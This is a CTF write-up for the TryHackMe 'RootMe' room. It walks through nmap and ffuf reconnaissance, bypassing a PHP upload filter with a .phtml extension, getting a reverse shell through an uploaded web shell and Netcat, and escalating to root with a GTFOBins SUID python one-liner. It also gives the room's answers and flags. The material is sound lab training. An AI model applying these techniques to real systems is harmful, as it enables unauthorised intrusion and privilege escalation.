TryHackMe — RootMe

The main objectives here were to discover hidden directories, investigate a file upload feature, gain initial shell access, find the user flag, and explore possible ways to escalate privileges to root.

1. Reconnaissance with Nmap

I started by scanning the target machine to identify open ports and the services running on them. My target IP address was 10.49.140.86.

nmap -sC -sV 10.49.140.86

nmap -sC -sV 10.49.140.86

• Scan the machine, how many ports are open? 2
• What version of Apache is running? 2.4.41
• What service is running on port 22? ssh

The results helped me identify the services available on the target and determine which ones to investigate further. Since the machine hosted a web server, I focused on its website as a possible entry point.

2. Directory Enumeration with ffuf

After examining the website, I used ffuf to search for hidden directories and files. I used the SecLists DirBuster wordlist for the scan.

ffuf -u http://10.49.140.86/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-small.txt

ffuf -u http://10.49.140.86/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-small.txt

The scan completed successfully and revealed several directories, including /uploads, /css, /js, and /panel.

Among these results, /panel was particularly interesting.

• What is the hidden directory? /panel/

3. Investigating the File Upload Feature

I visited the following URL to examine the panel page:

http://10.49.140.86/panel/

The page contained a file selection field and an upload button. This makes it vulnerable to a web shell attack. I tested it by uploading a web shell from pentestmonkey and found that files with the .php extension were not permitted. The application displayed the message "PHP não é permitido!", which means "PHP is not allowed."

After looking into alternative file extensions that the application might accept, a possible approach was to use .phtml instead of .php, since some web servers can recognize PHTML files as PHP scripts. Changing the file extension resulted in the file being successfully uploaded.

4. Uploading a File and Obtaining Initial Shell Access

After seeing the success message, I checked the /uploads directory to see whether uploaded files were accessible through the browser.

The directory was important because an uploaded file could potentially be accessed through its URL. Using a Netcat listener and the uploaded web shell, I attempted to establish a connection from the target machine to my Kali machine.

Once the listener received a connection, the shell identified the remote system as ip-10–49–140–86. The initial shell ran under the www-data account.

5. Finding the User Flag

With access to the target shell, I searched the filesystem for the user flag using the find command.

find / -type f -name "user.txt" 2>/dev/null

find / -type f -name "user.txt" 2>/dev/null

The command returned the following path:

/var/www/user.txt

I then used cat to display the file's contents:

cat /var/www/user.txt

cat /var/www/user.txt

• user.txt THM{y0u_g0t_a_sh3ll}

6. Enumerating SUID Files

After finding the user flag, I continued by searching for files with SUID permissions that could potentially provide a privilege-escalation opportunity.

I used the following command:

find / -user root -perm /4000 2>/dev/null

find / -user root -perm /4000 2>/dev/null

I reviewed the results to identify binaries that might provide a path to higher privileges. Any suspicious result needed to be checked further to determine whether it could actually be used for privilege escalation.

• Search for files with SUID permission, which file is weird? /usr/bin/python

7. Privilege Escalation to Root

A binary with SUID enabled may present an opportunity if its behavior allows commands to run with elevated privileges.

After identifying the executable, I used an exploit from GTFOBins

usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Once the privilege-escalation process succeeded, I could confirm the current identity by running:

whoami

whoami

8. Finding the Root Flag

With root privileges, the final objective was to locate the root flag. I used the following command to search for the file:

find / -type f -name "root.txt" 2>/dev/null

find / -type f -name "root.txt" 2>/dev/null

The search identified the expected location:

/root/root.txt

I then used the following command to read the file:

cat /root/root.txt

cat /root/root.txt

With this, the room's objectives had been completed.

• root.txt THM{pr1v1l3g3_3sc4l4t10n}